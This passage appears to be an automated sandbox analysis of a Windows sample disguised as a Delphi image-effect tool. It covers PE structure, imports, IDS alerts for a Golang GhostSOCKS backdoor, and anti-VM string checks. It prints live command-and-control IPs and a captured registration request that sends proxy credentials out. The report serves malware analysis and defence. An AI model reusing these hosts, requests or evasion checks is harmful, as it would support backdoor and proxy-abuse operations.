.reloc	0x3e3000	0xc0fc	0xc200	5573c821ff9e2229523713805246064c	False	0.5588555090206185	data	6.654312615642515	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
.rsrc	0x3f0000	0x376000	0x296000	08ba4846e95360ea792534aa73123308	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
ogmsrn	0x766000	0x1053	0x200	06deaf729129660e4e05c5f63364d2ce	False	1.021484375	data	7.589688260136585	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_CURSOR	0x3f0e9c	0x134	Targa image data - Map 64 x 65536 x 1 +32 "\001"			0.38636363636363635
RT_CURSOR	0x3f0fd0	0x134	data			0.4642857142857143
RT_CURSOR	0x3f1104	0x134	data			0.4805194805194805
RT_CURSOR	0x3f1238	0x134	data			0.38311688311688313
RT_CURSOR	0x3f136c	0x134	data			0.36038961038961037
RT_CURSOR	0x3f14a0	0x134	data			0.4090909090909091
RT_CURSOR	0x3f15d4	0x134	Targa image data - RGB 64 x 65536 x 1 +32 "\001"			0.4967532467532468
RT_BITMAP	0x3f1708	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.43103448275862066
RT_BITMAP	0x3f18d8	0x1e4	Device independent bitmap graphic, 36 x 19 x 4, image size 380			0.46487603305785125
RT_BITMAP	0x3f1abc	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.43103448275862066
RT_BITMAP	0x3f1c8c	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.39870689655172414
RT_BITMAP	0x3f1e5c	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.4245689655172414
RT_BITMAP	0x3f202c	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.5021551724137931
RT_BITMAP	0x3f21fc	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.5064655172413793
RT_BITMAP	0x3f23cc	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.39655172413793105
RT_BITMAP	0x3f259c	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.5344827586206896
RT_BITMAP	0x3f276c	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360			0.39655172413793105
RT_BITMAP	0x3f293c	0xe8	Device independent bitmap graphic, 16 x 16 x 4, image size 128			0.4870689655172414
RT_BITMAP	0x3f2a24	0x228	Device independent bitmap graphic, 28 x 28 x 4, image size 448	English	United States	0.2536231884057971
RT_BITMAP	0x3f2c4c	0x268	Device independent bitmap graphic, 32 x 32 x 4, image size 512	Russian	Russia	0.3181818181818182
RT_BITMAP	0x3f2eb4	0x66a	Device independent bitmap graphic, 24 x 24 x 8, image size 1642, resolution 2834 x 2834 px/m			0.8873325213154689
RT_ICON	0x3f3520	0x1f91	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced			0.967949511199109
RT_ICON	0x3f54b4	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 0			0.05487696675736425
RT_ICON	0x405cdc	0x94a8	Device independent bitmap graphic, 96 x 192 x 32, image size 0			0.07399621610258567
RT_ICON	0x40f184	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 0			0.125
RT_ICON	0x4133ac	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0			0.17147302904564315
RT_ICON	0x415954	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0			0.28588180112570355
RT_ICON	0x4169fc	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0			0.4081967213114754
RT_ICON	0x417384	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0			0.6054964539007093
RT_DIALOG	0x4177ec	0x52	data			0.7682926829268293
RT_STRING	0x417840	0x198	data			0.5147058823529411
RT_STRING	0x4179d8	0x3b4	data			0.3575949367088608
RT_STRING	0x417d8c	0x3b8	data			0.42436974789915966
RT_STRING	0x418144	0x1f8	data			0.5277777777777778
RT_STRING	0x41833c	0xe8	data			0.5905172413793104
RT_STRING	0x418424	0x128	data			0.5574324324324325
RT_STRING	0x41854c	0x2e0	data			0.4320652173913043
RT_STRING	0x41882c	0x40c	data			0.37741312741312744
RT_STRING	0x418c38	0x398	data			0.3804347826086957
RT_STRING	0x418fd0	0x3ac	data			0.35212765957446807
RT_STRING	0x41937c	0x3bc	data			0.3985355648535565
RT_STRING	0x419738	0xf4	data			0.47540983606557374
RT_STRING	0x41982c	0xc4	data			0.5663265306122449
RT_STRING	0x4198f0	0x2e0	data			0.44429347826086957
RT_STRING	0x419bd0	0x35c	data			0.40813953488372096
RT_STRING	0x419f2c	0x2b4	data			0.4060693641618497
RT_RCDATA	0x41a1e0	0x10	data			1.5
RT_RCDATA	0x41a1f0	0x38c	data			0.6850220264317181
RT_RCDATA	0x41a57c	0x1015c	Delphi compiled form 'TFormAdjust'			0.20882156517515635
RT_RCDATA	0x42a6d8	0x4cd4f	Delphi compiled form 'TFormChangjingAdjust'			0.2264452515546404
RT_RCDATA	0x477428	0x1f4d19	Delphi compiled form 'TFormMain'			0.20725727081298828
RT_RCDATA	0x66c144	0x22d	Delphi compiled form 'TFormProcessing'			0.6086175942549371
RT_RCDATA	0x66c374	0xdfd1	Delphi compiled form 'TFormRegister'			0.312930868980924
RT_RCDATA	0x67a348	0xb6dd	Delphi compiled form 'TFormResize'			0.26986093606476835
RT_GROUP_CURSOR	0x685a28	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.25
RT_GROUP_CURSOR	0x685a3c	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.25
RT_GROUP_CURSOR	0x685a50	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0x685a64	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0x685a78	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0x685a8c	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_CURSOR	0x685aa0	0x14	Lotus unknown worksheet or configuration, revision 0x1			1.3
RT_GROUP_ICON	0x685ab4	0x76	data			0.7711864406779662
RT_VERSION	0x685b2c	0x30c	data	English	United States	0.44743589743589746

Imports

DLL	Import
kernel32.dll	DeleteCriticalSection, LeaveCriticalSection, EnterCriticalSection, InitializeCriticalSection, VirtualFree, VirtualAlloc, LocalFree, LocalAlloc, GetCurrentThreadId, InterlockedDecrement, InterlockedIncrement, VirtualQuery, WideCharToMultiByte, MultiByteToWideChar, lstrlenA, lstrcpynA, LoadLibraryExA, GetThreadLocale, GetStartupInfoA, GetProcAddress, GetModuleHandleA, GetModuleFileNameA, GetLocaleInfoA, GetLastError, GetCommandLineA, FreeLibrary, FindFirstFileA, FindClose, ExitProcess, WriteFile, UnhandledExceptionFilter, SetFilePointer, SetEndOfFile, RtlUnwind, ReadFile, RaiseException, GetStdHandle, GetFileSize, GetFileType, CreateFileA, CloseHandle
user32.dll	GetKeyboardType, LoadStringA, MessageBoxA, CharNextA
advapi32.dll	RegQueryValueExA, RegOpenKeyExA, RegCloseKey
oleaut32.dll	SysFreeString, SysReAllocStringLen, SysAllocStringLen
kernel32.dll	TlsSetValue, TlsGetValue, LocalAlloc, GetModuleHandleA
advapi32.dll	RegQueryValueExA, RegOpenKeyExA, RegCloseKey
kernel32.dll	lstrcpyA, lstrcmpA, WriteFile, WaitForSingleObject, VirtualQuery, VirtualAlloc, Sleep, SizeofResource, SetThreadLocale, SetFilePointer, SetFileAttributesA, SetEvent, SetErrorMode, SetEndOfFile, ResetEvent, ReadFile, MulDiv, LockResource, LoadResource, LoadLibraryA, LeaveCriticalSection, InitializeCriticalSection, GlobalUnlock, GlobalReAlloc, GlobalHandle, GlobalLock, GlobalFree, GlobalFindAtomA, GlobalDeleteAtom, GlobalAlloc, GlobalAddAtomA, GetVersionExA, GetVersion, GetTickCount, GetThreadLocale, GetSystemInfo, GetStringTypeExA, GetStdHandle, GetProfileStringA, GetProcAddress, GetModuleHandleA, GetModuleFileNameA, GetLocaleInfoA, GetLastError, GetFileAttributesA, GetDriveTypeA, GetDiskFreeSpaceA, GetCurrentThreadId, GetCurrentProcessId, GetComputerNameA, GetCPInfo, GetACP, FreeResource, FreeLibrary, FormatMessageA, FindResourceA, FindNextFileA, FindFirstFileA, FindClose, FileTimeToLocalFileTime, FileTimeToDosDateTime, EnumCalendarInfoA, EnterCriticalSection, DeleteCriticalSection, CreateThread, CreateMutexA, CreateFileA, CreateEventA, CreateDirectoryA, CompareStringA, CloseHandle
version.dll	VerQueryValueA, GetFileVersionInfoSizeA, GetFileVersionInfoA
gdi32.dll	UnrealizeObject, StretchBlt, StartPage, StartDocA, SetWindowOrgEx, SetWinMetaFileBits, SetViewportOrgEx, SetTextColor, SetStretchBltMode, SetROP2, SetPixel, SetMapMode, SetEnhMetaFileBits, SetDIBColorTable, SetBrushOrgEx, SetBkMode, SetBkColor, SetAbortProc, SelectPalette, SelectObject, SaveDC, RoundRect, RestoreDC, Rectangle, RectVisible, RealizePalette, Polyline, Polygon, PlayEnhMetaFile, PathToRegion, PatBlt, MoveToEx, MaskBlt, LineTo, IntersectClipRect, GetWindowOrgEx, GetWinMetaFileBits, GetViewportOrgEx, GetTextMetricsA, GetTextExtentPointA, GetTextExtentPoint32A, GetSystemPaletteEntries, GetStockObject, GetRgnBox, GetPixel, GetPaletteEntries, GetObjectA, GetEnhMetaFilePaletteEntries, GetEnhMetaFileHeader, GetEnhMetaFileBits, GetDeviceCaps, GetDIBits, GetDIBColorTable, GetDCOrgEx, GetCurrentPositionEx, GetClipBox, GetBrushOrgEx, GetBitmapBits, GdiFlush, ExtTextOutA, ExcludeClipRect, EndPath, EndPage, EndDoc, Ellipse, DeleteObject, DeleteEnhMetaFile, DeleteDC, CreateSolidBrush, CreateRectRgn, CreatePenIndirect, CreatePalette, CreateICA, CreateHalftonePalette, CreateFontIndirectA, CreateDIBitmap, CreateDIBSection, CreateDCA, CreateCompatibleDC, CreateCompatibleBitmap, CreateBrushIndirect, CreateBitmap, CopyEnhMetaFileA, CombineRgn, CloseFigure, BitBlt, BeginPath
user32.dll	WindowFromPoint, WindowFromDC, WinHelpA, WaitMessage, UpdateWindow, UnregisterClassA, UnhookWindowsHookEx, TranslateMessage, TranslateMDISysAccel, TrackPopupMenu, SystemParametersInfoA, ShowWindow, ShowScrollBar, ShowOwnedPopups, ShowCursor, SetWindowRgn, SetWindowsHookExA, SetWindowTextA, SetWindowPos, SetWindowPlacement, SetWindowLongA, SetTimer, SetScrollRange, SetScrollPos, SetScrollInfo, SetRect, SetPropA, SetParent, SetMenuItemInfoA, SetMenu, SetForegroundWindow, SetFocus, SetCursor, SetClipboardData, SetClassLongA, SetCapture, SetActiveWindow, SendMessageA, ScrollWindow, ScreenToClient, RemovePropA, RemoveMenu, ReleaseDC, ReleaseCapture, RegisterWindowMessageA, RegisterClipboardFormatA, RegisterClassA, RedrawWindow, PtInRect, PostQuitMessage, PostMessageA, PeekMessageA, OpenClipboard, OffsetRect, OemToCharA, MessageBoxA, MessageBeep, MapWindowPoints, MapVirtualKeyA, LockWindowUpdate, LoadStringA, LoadKeyboardLayoutA, LoadIconA, LoadCursorA, LoadBitmapA, KillTimer, IsZoomed, IsWindowVisible, IsWindowEnabled, IsWindow, IsRectEmpty, IsIconic, IsDialogMessageA, IsChild, InvalidateRect, IntersectRect, InsertMenuItemA, InsertMenuA, InflateRect, GetWindowThreadProcessId, GetWindowTextA, GetWindowRgn, GetWindowRect, GetWindowPlacement, GetWindowLongA, GetWindowDC, GetUpdateRect, GetTopWindow, GetSystemMetrics, GetSystemMenu, GetSysColor, GetSubMenu, GetScrollRange, GetScrollPos, GetScrollInfo, GetPropA, GetParent, GetWindow, GetMessagePos, GetMenuStringA, GetMenuState, GetMenuItemRect, GetMenuItemInfoA, GetMenuItemID, GetMenuItemCount, GetMenu, GetLastActivePopup, GetKeyboardState, GetKeyboardLayoutList, GetKeyboardLayout, GetKeyState, GetKeyNameTextA, GetIconInfo, GetForegroundWindow, GetFocus, GetDlgItem, GetDesktopWindow, GetDCEx, GetDC, GetCursorPos, GetCursor, GetClipboardData, GetClientRect, GetClassNameA, GetClassInfoA, GetCapture, GetActiveWindow, FrameRect, FindWindowA, FillRect, EqualRect, EnumWindows, EnumThreadWindows, EndPaint, EndDeferWindowPos, EnableWindow, EnableScrollBar, EnableMenuItem, EmptyClipboard, DrawTextExA, DrawTextA, DrawMenuBar, DrawIconEx, DrawIcon, DrawFrameControl, DrawFocusRect, DrawEdge, DispatchMessageA, DestroyWindow, DestroyMenu, DestroyIcon, DestroyCursor, DeleteMenu, DeferWindowPos, DefWindowProcA, DefMDIChildProcA, DefFrameProcA, CreateWindowExA, CreatePopupMenu, CreateMenu, CreateIcon, CloseClipboard, ClientToScreen, ChildWindowFromPoint, CheckMenuItem, CallWindowProcA, CallNextHookEx, BeginPaint, BeginDeferWindowPos, CharNextA, CharLowerBuffA, CharLowerA, CharUpperBuffA, AdjustWindowRectEx, ActivateKeyboardLayout
kernel32.dll	Sleep
oleaut32.dll	SafeArrayPtrOfIndex, SafeArrayPutElement, SafeArrayGetElement, SafeArrayGetUBound, SafeArrayGetLBound, SafeArrayRedim, SafeArrayCreate, VariantChangeTypeEx, VariantCopyInd, VariantCopy, VariantClear, VariantInit
comctl32.dll	ImageList_SetIconSize, ImageList_GetIconSize, ImageList_Write, ImageList_Read, ImageList_GetDragImage, ImageList_DragShowNolock, ImageList_SetDragCursorImage, ImageList_DragMove, ImageList_DragLeave, ImageList_DragEnter, ImageList_EndDrag, ImageList_BeginDrag, ImageList_Remove, ImageList_DrawEx, ImageList_Replace, ImageList_Draw, ImageList_GetBkColor, ImageList_SetBkColor, ImageList_ReplaceIcon, ImageList_Add, ImageList_GetImageCount, ImageList_Destroy, ImageList_Create, InitCommonControls
winspool.drv	OpenPrinterA, EnumPrintersA, DocumentPropertiesA, ClosePrinter
shell32.dll	ShellExecuteA
comdlg32.dll	GetSaveFileNameA, GetOpenFileNameA

Version Infos

Description	Data
CompanyName
FileDescription	Professional Image Effect
FileVersion	1.00
InternalName	Professional Image Effect for DELPHI
LegalCopyright
OriginalFilename	Professional Image Effect for DELPHI
Developer	Babak Sateli
E-MAIL	babak_sateli@yahoo.com
Translation	0x0409 0x04e4

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States
Russian	Russia

Network Behavior

Download Network PCAP: filtered – full

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-02-11T10:55:40.448676+0100	2855478	ETPRO MALWARE Golang Backdoor Activity - Observed GhostSOCKS related	1	192.168.2.11	49903	46.8.232.106	30001	TCP
2025-02-11T10:55:41.000742+0100	2855539	ETPRO MALWARE Unknown Golang Backdoor CnC Server Response M2	1	185.121.233.152	14887	192.168.2.11	49932	TCP
2025-02-11T10:55:41.001163+0100	2855536	ETPRO MALWARE Unknown Golang Backdoor CnC Client Request M1	1	192.168.2.11	49932	185.121.233.152	14887	TCP
2025-02-11T10:56:10.449366+0100	2855537	ETPRO MALWARE Unknown Golang Backdoor CnC Client Request M2	1	192.168.2.11	49932	185.121.233.152	14887	TCP
2025-02-11T10:56:10.628328+0100	2855538	ETPRO MALWARE Unknown Golang Backdoor CnC Server Response M1	1	185.121.233.152	14887	192.168.2.11	49932	TCP

Network Port Distribution

Total Packets: 20
• 30001 undefined
• 14887 undefined

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 11, 2025 10:55:36.337142944 CET	49903	30001	192.168.2.11	46.8.232.106
Feb 11, 2025 10:55:36.341950893 CET	30001	49903	46.8.232.106	192.168.2.11
Feb 11, 2025 10:55:36.345905066 CET	49903	30001	192.168.2.11	46.8.232.106
Feb 11, 2025 10:55:36.346422911 CET	49903	30001	192.168.2.11	46.8.232.106
Feb 11, 2025 10:55:36.351176023 CET	30001	49903	46.8.232.106	192.168.2.11
Feb 11, 2025 10:55:40.402940035 CET	30001	49903	46.8.232.106	192.168.2.11
Feb 11, 2025 10:55:40.411870003 CET	49932	14887	192.168.2.11	185.121.233.152
Feb 11, 2025 10:55:40.416686058 CET	14887	49932	185.121.233.152	192.168.2.11
Feb 11, 2025 10:55:40.416770935 CET	49932	14887	192.168.2.11	185.121.233.152
Feb 11, 2025 10:55:40.448676109 CET	49903	30001	192.168.2.11	46.8.232.106
Feb 11, 2025 10:55:41.000741959 CET	14887	49932	185.121.233.152	192.168.2.11
Feb 11, 2025 10:55:41.001163006 CET	49932	14887	192.168.2.11	185.121.233.152
Feb 11, 2025 10:55:41.006496906 CET	14887	49932	185.121.233.152	192.168.2.11
Feb 11, 2025 10:55:56.017523050 CET	49932	14887	192.168.2.11	185.121.233.152
Feb 11, 2025 10:55:56.022316933 CET	14887	49932	185.121.233.152	192.168.2.11
Feb 11, 2025 10:56:00.953023911 CET	14887	49932	185.121.233.152	192.168.2.11
Feb 11, 2025 10:56:00.953327894 CET	49932	14887	192.168.2.11	185.121.233.152
Feb 11, 2025 10:56:00.958223104 CET	14887	49932	185.121.233.152	192.168.2.11
Feb 11, 2025 10:56:10.407001972 CET	49903	30001	192.168.2.11	46.8.232.106
Feb 11, 2025 10:56:10.411890984 CET	30001	49903	46.8.232.106	192.168.2.11
Feb 11, 2025 10:56:10.449366093 CET	49932	14887	192.168.2.11	185.121.233.152
Feb 11, 2025 10:56:10.454149961 CET	14887	49932	185.121.233.152	192.168.2.11
Feb 11, 2025 10:56:10.628328085 CET	14887	49932	185.121.233.152	192.168.2.11
Feb 11, 2025 10:56:10.671570063 CET	49932	14887	192.168.2.11	185.121.233.152
Feb 11, 2025 10:56:21.132033110 CET	14887	49932	185.121.233.152	192.168.2.11
Feb 11, 2025 10:56:21.132390976 CET	49932	14887	192.168.2.11	185.121.233.152
Feb 11, 2025 10:56:21.137233019 CET	14887	49932	185.121.233.152	192.168.2.11
Feb 11, 2025 10:56:36.148644924 CET	49932	14887	192.168.2.11	185.121.233.152
Feb 11, 2025 10:56:36.153506041 CET	14887	49932	185.121.233.152	192.168.2.11
Feb 11, 2025 10:56:40.414273024 CET	49903	30001	192.168.2.11	46.8.232.106
Feb 11, 2025 10:56:40.419260979 CET	30001	49903	46.8.232.106	192.168.2.11
Feb 11, 2025 10:56:40.666491032 CET	49932	14887	192.168.2.11	185.121.233.152
Feb 11, 2025 10:56:40.671468973 CET	14887	49932	185.121.233.152	192.168.2.11
Feb 11, 2025 10:56:40.845026016 CET	14887	49932	185.121.233.152	192.168.2.11
Feb 11, 2025 10:56:40.891690016 CET	49932	14887	192.168.2.11	185.121.233.152
Feb 11, 2025 10:56:41.311499119 CET	14887	49932	185.121.233.152	192.168.2.11
Feb 11, 2025 10:56:41.311753035 CET	49932	14887	192.168.2.11	185.121.233.152
Feb 11, 2025 10:56:41.318862915 CET	14887	49932	185.121.233.152	192.168.2.11
Feb 11, 2025 10:56:56.320564985 CET	49932	14887	192.168.2.11	185.121.233.152
Feb 11, 2025 10:56:56.325393915 CET	14887	49932	185.121.233.152	192.168.2.11
Feb 11, 2025 10:57:01.493802071 CET	14887	49932	185.121.233.152	192.168.2.11
Feb 11, 2025 10:57:01.494286060 CET	49932	14887	192.168.2.11	185.121.233.152
Feb 11, 2025 10:57:01.499170065 CET	14887	49932	185.121.233.152	192.168.2.11

HTTP Request Dependency Graph

46.8.232.106:30001

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.11	49903	46.8.232.106	30001	7712	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe

Timestamp	Bytes transferred	Direction	Data
Feb 11, 2025 10:55:36.346422911 CET	294	OUT	GET /api/helper-first-register?buildVersion=0z76.pdO2CqG&md5=2e82e1c508af8197f9a033822e9d742f&proxyPassword=3ijnTpLW&proxyUsername=4dUZxibc&userId=gyQqwSb2enJmg2j1kyuweSXakKqafLse HTTP/1.1 Host: 46.8.232.106:30001 User-Agent: Go-http-client/1.1 X-Api-Key: GAlbhK5H Accept-Encoding: gzip
Feb 11, 2025 10:55:40.402940035 CET	1185	IN	HTTP/1.1 200 OK Date: Tue, 11 Feb 2025 09:55:40 GMT Content-Length: 1066 Content-Type: text/plain; charset=utf-8 Data Raw: 31 38 35 2e 31 32 31 2e 32 33 33 2e 31 35 32 3b 31 34 38 38 37 3b 68 51 55 61 74 6d 71 4f 74 52 61 49 70 47 64 63 3a 47 74 78 2f 30 7a 54 2f 54 42 44 34 4b 62 41 36 31 4f 58 2e 69 57 32 38 47 43 33 2e 45 4a 54 32 33 77 70 33 76 62 4d 32 37 47 70 2e 78 64 47 31 48 68 4b 30 4e 6d 56 36 33 6c 55 3a 44 73 74 33 72 41 42 30 50 75 69 30 36 74 34 30 55 71 47 31 39 4f 6c 2f 46 6c 6d 61 43 56 49 70 53 44 44 69 50 61 77 2f 42 34 6e 68 73 67 61 65 65 33 53 6c 52 71 31 70 35 48 30 65 75 41 62 72 34 38 68 2d 4d 6e 74 66 59 47 36 69 51 41 76 72 39 4f 6a 73 73 72 69 74 4b 61 48 2d 4b 39 47 72 4e 41 64 65 63 74 49 67 51 63 76 69 33 45 4e 73 49 7a 4b 74 62 51 76 65 49 52 56 72 68 46 32 2c 31 61 77 68 72 64 44 74 45 31 49 74 4d 4f 6f 70 37 37 44 3a 54 52 70 2f 50 69 56 2f 69 4e 55 34 50 5a 65 36 6c 4b 75 2e 50 44 58 38 52 5a 62 2e 79 4e 52 32 64 54 4c 33 30 39 68 36 47 4b 6c 2e 6e 47 70 36 59 44 41 31 61 77 56 3a 35 39 56 33 42 45 48 30 63 35 56 30 33 6d 53 30 76 74 6b 31 4c 4f 6e 2f 37 55 65 61 69 62 49 70 6d 59 46 [TRUNCATED] Data Ascii: 185.121.233.152;14887;hQUatmqOtRaIpGdc:Gtx/0zT/TBD4KbA61OX.iW28GC3.EJT23wp3vbM27Gp.xdG1HhK0NmV63lU:Dst3rAB0Pui06t40UqG19Ol/FlmaCVIpSDDiPaw/B4nhsgaee3SlRq1p5H0euAbr48h-MntfYG6iQAvr9OjssritKaH-K9GrNAdectIgQcvi3ENsIzKtbQveIRVrhF2,1awhrdDtE1ItMOop77D:TRp/PiV/iNU4PZe6lKu.PDX8RZb.yNR2dTL309h6GKl.nGp6YDA1awV:59V3BEH0c5V03mS0vtk1LOn/7UeaibIpmYFiLuD/mp1hyhUeGQnlcKPptp0eQVJrTDE-o0jfAhhiOHbrbFjs7ZYtbIC-JiyrdtLeeptgziIiHC6sjuVtXfgeKdRrO3y,OAHhznstfootwqgpcPy:oeQ/2ya/aiA9JRU1qGX.0jt2NHK1cHP2anY.sVd1G9T6U7I6BSV.Dgw9Glh1tLs:sJg3dfQ0jSz0XiE0AyT1NZI/bXoaSJzptOWiu8j/3nTh6Y3eZPfl693pvhpeahlrHvE-rccfaYFi4XIrsE8stq4tCi9-K0ir52oeytkgNYdiYfcsHrbtUxpeVNbrrrz,LT0hf9stUcrtFmxpLdL:Nkd/Lne/wqu9Wbc11c0.MFn2ORD1pP02KXW.pcr13Hc69bE658i.AqI9Acw:Ojo3c9G0faH08LC0xxl1VJv/QUpaEEsp5FliUXk/JfKhpO3e9oclrA2p0JsentQr4Yh-mfMfYzeiY6jr3JzsRqzt3Db-UnLrzM5e6NUgvfpiQIfs6yptqVBepZ7r2cH,WXFhIzAtNMStHzdpaaO:162/baw/bve1tLW4rl77L88.SVy4uSz5gqh.x5v1vCg9gWK6PSM.BLe1hjE5PTN77MK:qcj3Zr708pf0xl90T9T1ZJF/rviasLXp4A5irLN/kbshbYdeXZYl5l6plZVeorJr5SS-gtZft [TRUNCATED]

Statistics

CPU Usage

• SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe
• WerFault.exe
• WerFault.exe
• WerFault.exe
• WerFault.exe

Click to jump to process

Memory Usage

• SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe
• WerFault.exe
• WerFault.exe
• WerFault.exe
• WerFault.exe

Click to jump to process

High Level Behavior Distribution

• File
• Registry
• Network

Click to dive into process behavior distribution

Behavior

• SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe
• WerFault.exe
• WerFault.exe
• WerFault.exe
• WerFault.exe

Click to jump to process

Target ID:	0
Start time:	04:55:00
Start date:	11/02/2025
Path:	C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe"
Imagebase:	0x6c0000
File size:	6'808'576 bytes
MD5 hash:	2E82E1C508AF8197F9A033822E9D742F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_GOBackdoor, Description: Yara detected GO Backdoor, Source: 00000000.00000002.2581726494.000000000C940000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	04:55:35
Start date:	11/02/2025
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7712 -s 756
Imagebase:	0xbe0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	04:55:35
Start date:	11/02/2025
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7712 -s 780
Imagebase:	0xbe0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	04:55:35
Start date:	11/02/2025
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7712 -s 796
Imagebase:	0xbe0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	04:55:35
Start date:	11/02/2025
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7712 -s 816
Imagebase:	0xbe0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage

Dynamic/Packed Code Coverage

Signature Coverage

Execution Coverage:	0.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	13
Total number of Limit Nodes:	1

Show Legend

Hide Nodes/Edges

Executed Functions

Function 03126B0D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe,80000000,00000001,00000000,00000003,00000080,00000000), ref: 03126B40

Part of subcall function 03121131: LoadLibraryA.KERNEL32(NTDLL,?), ref: 031211F9

CloseHandle.KERNELBASE(00000000), ref: 03126B71

Strings

C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe, xrefs: 03126B3B

Memory Dump Source

Source File: 00000000.00000002.2576426837.0000000003121000.00000040.00001000.00020000.00000000.sdmp, Offset: 03121000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3121000_SecuriteInfo.jbxd

Similarity

API ID: CloseCreateFileHandleLibraryLoad
String ID: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Evo-gen.14890.8913.exe
API String ID: 2506845977-210220030
Opcode ID: dede261e609b68da2b26da8cd33a9daf05d0b196f5f942b8f0ad69fcd8326a1d
Instruction ID: 37324268fbe5a9855a30746aa99fef1a9f0eca76dcdd4c3fe466821e40ebc3a8
Opcode Fuzzy Hash: dede261e609b68da2b26da8cd33a9daf05d0b196f5f942b8f0ad69fcd8326a1d
Instruction Fuzzy Hash: C201FC357142156FEB19EB78CC82F2CBB90AB89314F298224F024EF0E8CFB0E4608704

Non-executed Functions

Function 03121F6C Relevance: 12.7, Strings: 10, Instructions: 160
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

RDPU, xrefs: 03121FA3
llel, xrefs: 03121FE4
Basi, xrefs: 03121FBD
ware, xrefs: 0312205B
t Hv, xrefs: 03122081
reVM, xrefs: 03122053
Micr, xrefs: 03122079
VMwa, xrefs: 03122063
Para, xrefs: 03121FDD
VMwa, xrefs: 03121FFF

Memory Dump Source

Source File: 00000000.00000002.2576426837.0000000003121000.00000040.00001000.00020000.00000000.sdmp, Offset: 03121000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3121000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: Basi$Micr$Para$RDPU$VMwa$VMwa$llel$reVM$t Hv$ware
API String ID: 0-710289715
